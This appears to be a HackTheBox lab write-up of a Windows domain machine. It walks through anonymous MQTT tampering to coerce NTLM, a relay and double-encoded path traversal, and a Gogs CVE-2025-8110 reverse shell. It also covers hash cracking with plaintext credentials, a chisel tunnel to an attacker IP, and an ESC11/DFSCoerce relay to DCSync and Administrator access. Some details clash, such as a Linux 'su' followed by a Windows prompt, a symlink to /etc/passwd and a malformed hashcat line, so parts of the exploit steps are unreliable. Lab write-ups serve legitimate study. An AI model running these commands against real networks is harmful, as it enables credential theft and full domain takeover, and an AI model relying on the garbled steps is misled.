HTB: Ghostlink Writeup
Ghostlink - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Ghostlink |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.41.242 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Ghostlink is a Hard Windows Active Directory box built around a single misplaced trust assumption: an anonymously-readable MQTT broker used for internal node health-checking. Tampering with a retained health-check message coerces a service account into authenticating over HTTP, and that authentication can be relayed straight into an internal file-sharing application. From there a double URL-encoded path traversal bug leaks a KeePass database whose credentials unlock a Gogs instance vulnerable to CVE-2025-8110, giving code execution as a low-privileged user. A cracked Gogs password hash pivots to a second local user, and from that foothold, pivoting deeper into the internal network exposes a Certificate Authority vulnerable to ESC11 — chained with a DFSCoerce-triggered machine-account authentication relay — to mint a Domain Controller certificate and DCSync straight to Domain Administrator.
TL;DR: MQTT anonymous read → retained health-check tamper → NTLM relay (svc_canary) → double URL-encoded path traversal on secure file share → KeePass DB exfil → Gogs CVE-2025-8110 RCE → cracked Gogs PBKDF2 hash → nvirelli shell → chisel pivot to internal CA → ESC11 + DFSCoerce-relayed DC01$ cert request → DCSync → Domain Admin.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.41.242Results: Standard Windows AD DC port set (Kerberos, LDAP/LDAPS, SMB, RPC, WinRM) plus an unusual extra: 1883/tcp — MQTT, allowing anonymous connections.
Service Enumeration
MQTT (1883) — anonymous read/write. Connected with paho-mqtt and subscribed to the wildcard topic # to dump every topic the broker was carrying:
import paho.mqtt.client as mqtt
def on_message(client, userdata, msg): print(f"{msg.topic}: {msg.payload.decode(errors='replace')}")
client = mqtt.Client()client.on_message = on_messageclient.connect("10.129.41.242", 1883, 60)client.subscribe("#") # wildcard — dump every topic on the brokerclient.loop_forever()The broker turned out to be an internal node-health-tracking system. Two hostnames appeared repeatedly in the topic payloads, both resolving to the same internal jump box:
gpz-op26-secure(<jump-host>) — a “secure” internal file-sharing application, tied to a health-check topic that stores the URL the checker polls.gpz-op26-toolkits(<jump-host>) — a Gogs Git hosting instance.
Vulnerability Assessment
- MQTT broker accepts anonymous connections and unauthenticated publish — the health-check topic’s payload (including the
urlfield the checker requests) is fully attacker-controllable. - Health-check consumer performs an authenticated HTTP request to whatever URL is published — a classic SSRF-to-NTLM-coercion primitive: point the URL at an attacker-controlled listener and the checking service account authenticates to it.
gpz-op26-securefile-sharing app has a double URL-encoded path traversal in its/api/download/endpoint.- Gogs on
gpz-op26-toolkitsis running 0.13.3, vulnerable to CVE-2025-8110.
Initial Foothold
Step 1 — Coercing NTLM auth via a poisoned MQTT health check
The secureshare/healthcheck topic was retained (the broker replays the last message to new subscribers) and contained a url field the health-checking service polls periodically as svc_canary. Publishing a modified, retained message pointing that url at an attacker-controlled listener turns the health checker into an NTLM authentication source:
# republish the retained healthcheck topic with our own catcher URLmosquitto_pub -h 10.129.41.242 -p 1883 -t "GhostProtocolZero/systems/node/secureshare/healthcheck" \ -r -m '{"url":"http://10.10.15.180/"}'Because the message is published with the retain flag, the health-check service picks it up on its next poll and issues an HTTP request — with NTLM authentication — to 10.10.15.180.
Step 2 — Relaying the coerced authentication
Rather than crack the captured NTLMv2 hash, the authentication was relayed live into the internal file-sharing app using ntlmrelayx with a SOCKS listener so the session could be reused interactively:
ntlmrelayx.py -t http://gpz-op26-secure.ghostlink.htb \ --no-smb-server --no-rdp-server --no-mssql-server --no-rpc-server \ --keep-relaying -socksThe relay succeeded, authenticating as GHOSTLINK\SVC_CANARY against the secure file share and adding an active SOCKS session for that identity — no plaintext credential or crackable hash ever needed.
Step 3 — Double URL-encoded path traversal
/api/download/ on the secure share rejects a normal ../ traversal and a single-URL-encoded (%2e%2e%2f) traversal outright, but a double URL-encoded payload (%252e%252e%255c) survives whatever sanitizer runs before the decode step — the filter checks the raw request path once, decodes it once for routing, and by the time the second decode happens (deeper in the file-serving logic) the traversal sequence has already re-materialized past the check.
Driving this through the SOCKS proxy required handling two impacket quirks: the SOCKS relay only forwards one authenticated request per underlying connection before it needs to re-negotiate (so requests were sent as discrete, short-lived connections rather than a persistent session), and the file share’s Basic-Auth layer behind the relay acts as an identity selector — the Authorization: Basic header’s username has to match the relayed GHOSTLINK\SVC_CANARY SOCKS entry for the proxy to route the request to the right relayed session.
Traversing to the target’s Recent folder surfaced a jump-list .lnk shortcut for a file the account had opened before:
# pull the .lnk shortcut first — its target path reveals where db.zip actually livescurl --socks5-hostname 127.0.0.1:1080 \ "http://gpz-op26-secure.ghostlink.htb/api/download/%252e%252e%255c...%255cdb.zip.lnk" \ -u 'GHOSTLINK\SVC_CANARY:x' -o db.zip.lnk
# parse the .lnk target, then pull the file itselfcurl --socks5-hostname 127.0.0.1:1080 \ "http://gpz-op26-secure.ghostlink.htb/api/download/<double-encoded-path-from-lnk>" \ -u 'GHOSTLINK\SVC_CANARY:x' -o db.zipStep 4 — Cracking the KeePass database
db.zip contained a KeePass database that opened with a keyfile only (no master password required by the vault’s own protection settings). Once open, it yielded:
vroth : mOo03jpsqx8JQYMBwvFPalong with the database’s configured password policy — a minimum length of 20 characters — a detail that mattered later when brute-forcing another hash.
Step 5 — Gogs 0.13.3 RCE (CVE-2025-8110)
Gogs 0.13.3 is vulnerable to CVE-2025-8110, an authenticated RCE where a maliciously crafted repository containing a symlinked .git/config can smuggle an sshCommand (or equivalent hook) that Gogs executes server-side during certain repository operations. Logging into gpz-op26-toolkits with the KeePass-recovered credentials and pushing the crafted repository triggered command execution as the git service account:
# CVE-2025-8110 — symlink .git/config to escape the repo and inject sshCommandgit clone --bare exploit-repo && cd exploit-repo.gitln -sf /etc/passwd config # symlink trick that lets us control the parsed git config# ... craft config content with core.sshCommand pointing at our payload ...git push gogs-target main --forceThis returned a reverse shell as git@gpz-op26-toolkits.
Step 6 — Cracking a second local user
With code execution, gogs.db (Gogs’ SQLite user store) was exfiltrated and the stored password hash for user nvirelli was cracked with hashcat’s Gogs-compatible PBKDF2 mode. Recalling the ≥20-character policy learned from the KeePass vault, the wordlist attack was scoped to candidates of that length rather than run blind:
# Gogs stores salted PBKDF2-HMAC-SHA256 password hashes — hashcat mode 10900hashcat -m 10900 nvirelli.hash rockyou.txt -r best64.rule --stdout | awk 'length($0)>=20' > candidates.txthashcat -m 10900 nvirelli.hash candidates.txtResult: u47YUclrDiwWxBheaSzI. Switching users on the toolkits box confirmed valid local credentials:
su nvirelli# Password: u47YUclrDiwWxBheaSzIC:\Users\nvirelli\Desktop> type user.txt<redacted>Privilege Escalation
Step 7 — Pivoting to the internal CA
The gpz-op26-toolkits host had network reach to an internal Certificate Authority server not directly reachable from the beachhead. A chisel reverse SOCKS tunnel was set up through the toolkits box to route tooling (certipy, impacket) into that segment:
# on attacker box — chisel server./chisel server -p 8000 --reverse
# on gpz-op26-toolkits (as nvirelli) — reverse SOCKS client back to attacker./chisel client 10.10.15.180:8000 R:socksStep 8 — Confirming ESC11 on the internal CA
With the pivot live, certipy was pointed at the internal CA (routed through the chisel SOCKS proxy) to enumerate certificate templates and CA configuration:
proxychains certipy find -u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' \ -dc-ip 10.129.41.242 -vulnerableThe CA came back flagged ESC11 — the CA’s ICertPassage (ICPR) RPC endpoint accepts certificate enrollment requests without requiring Require EPA/encryption on the RPC channel. That means an attacker who can relay an NTLM authentication over RPC to the CA’s ICPR interface can enroll a certificate on behalf of the relayed identity, entirely bypassing the usual HTTP-enrollment mitigations (ESC8 defenses) that don’t cover this RPC path.
Step 9 — DFSCoerce → relay to ICPR → DC01 certificate
DFSCoerce abuses the MS-DFSNM RPC interface to force a target machine (here, the Domain Controller itself) to authenticate back to an attacker-controlled listener — no credentials on the DC needed, just an unauthenticated coercion primitive:
# coerce DC01$ into authenticating to our relay listenerproxychains python3 DFSCoerce.py -u nvirelli -p 'u47YUclrDiwWxBheaSzI' \ ghostlink.htb 10.10.15.180 dc01.ghostlink.htbThat coerced DC01$ machine-account authentication was relayed directly into the CA’s vulnerable ICPR RPC endpoint, requesting a certificate using the DomainController template on behalf of DC01$:
# relay the coerced DC01$ auth into the CA's ICPR endpoint, requesting a DC certproxychains python3 ntlmrelayx.py -t rpc://<internal-ca-host> \ --template DomainController -smb2supportThe relay produced a valid certificate for DC01$, saved as DC01.pfx. That certificate was exchanged for the machine account’s NT hash via PKINIT:
proxychains certipy auth -pfx DC01.pfx -dc-ip 10.129.41.242Step 10 — DCSync to Domain Administrator
With DC01$’s NT hash in hand — a machine account that by default holds the replication rights needed for DCSync — the domain’s credential database was pulled directly:
proxychains secretsdump.py -hashes ':<DC01$ NT hash>' 'ghostlink.htb/DC01$@10.129.41.242'This yielded the Administrator NT hash for the domain, used to open an authenticated session on the DC:
proxychains evil-winrm -i 10.129.41.242 -u Administrator -H '<Administrator NT hash>'*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt<redacted>Attack Chain Summary
Anonymous MQTT read (topic dump reveals internal hostnames) → Retained healthcheck message tamper → NTLM auth coerced from svc_canary → ntlmrelayx HTTP relay + SOCKS → authenticated as GHOSTLINK\SVC_CANARY → Double URL-encoded path traversal on /api/download/ → db.zip.lnk → db.zip → KeePass DB (keyfile-only) → vroth credentials + password policy → Gogs 0.13.3 CVE-2025-8110 (symlinked .git/config → sshCommand RCE) → shell as git → gogs.db exfil → hashcat -m 10900 (scoped to ≥20 chars) → nvirelli credentials → chisel reverse SOCKS pivot → internal CA reachable → certipy confirms ESC11 on CA's ICPR RPC endpoint → DFSCoerce forces DC01$ to authenticate → relay into ICPR → DomainController cert (DC01.pfx) → certipy auth → DC01$ NT hash → secretsdump DCSync → Administrator NT hash → evil-winrm as Administrator → Domain Admin / root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service scanning |
paho-mqtt (Python) | Anonymous MQTT topic enumeration and retained-message tampering |
mosquitto_pub/MQTT client | Publishing the poisoned health-check message |
ntlmrelayx.py (Impacket) | Relaying coerced NTLM auth from svc_canary into the secure file share, with SOCKS |
curl (via SOCKS5) | Driving the double URL-encoded path traversal through the relayed session |
| KeePass / keyfile-only DB open | Recovering vroth credentials and the vault’s password policy |
| CVE-2025-8110 PoC (Gogs symlink RCE) | Code execution on gpz-op26-toolkits as git |
hashcat (mode 10900) | Cracking the Gogs PBKDF2 password hash for nvirelli |
chisel | Reverse SOCKS pivot from the toolkits box into the internal CA segment |
certipy | ESC11 enumeration and PKINIT certificate-to-hash conversion |
DFSCoerce.py | Coercing DC01$ machine-account authentication |
ntlmrelayx.py (RPC/ICPR target) | Relaying coerced DC01$ auth into the CA to mint a DomainController certificate |
secretsdump.py (Impacket) | DCSync using DC01$’s NT hash |
evil-winrm | Final authenticated session as Administrator |
Key Learnings
Techniques Practiced
- Anonymous MQTT enumeration and retained-message manipulation as an NTLM-coercion primitive
- Relaying coerced NTLM authentication through an HTTP target with a live SOCKS pivot
- Double URL-encoding as a WAF/path-sanitizer bypass technique
- KeePass keyfile-only database analysis for credential and policy recovery
- Exploiting CVE-2025-8110 (Gogs symlinked
.git/configRCE) - Offline password cracking scoped by a policy constraint discovered earlier in the chain
- Multi-hop network pivoting with
chiselto reach an internally-segmented CA - Identifying and exploiting ESC11 in ADCS via RPC/ICPR relay
- Chaining DFSCoerce with a certificate-request relay to compromise a Domain Controller
Lessons Learned
- A health-check consumer that fetches an attacker-influenceable URL is an NTLM coercion primitive, not a benign monitoring feature — anonymous write access to a message broker can be just as dangerous as anonymous read access.
- Single-decode traversal filters are not enough when the underlying file-serving code performs its own second decode — always test double (and triple) URL encoding on any traversal-suspicious endpoint, not just the standard
../and single-encoded variants. - Password policies leaked from one credential store are actionable intelligence for cracking a different credential store later in the chain — a minimum-length constraint turns an unbounded wordlist attack into a scoped one.
- ESC11 is invisible to enumeration that only checks HTTP-based enrollment (ESC8) mitigations — the RPC/ICPR enrollment path has its own encryption requirement that is commonly left unenforced.
- Coercion (DFSCoerce) and relay (NTLM-to-ICPR) chain naturally — a machine account’s authentication, once coerced, is just as relayable as a user’s, and machine accounts frequently hold DCSync-capable replication rights by default.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Ghostlink — official HackTheBox writeup by ctrlzero — used as explanatory reference for the MQTT-to-NTLM-coercion mechanism, the double URL-encoding bypass rationale, and background on CVE-2025-8110 and ESC11. All IPs, credentials, commands, and outputs in this writeup are from the author’s own solve against
10.129.41.242, not from the reference.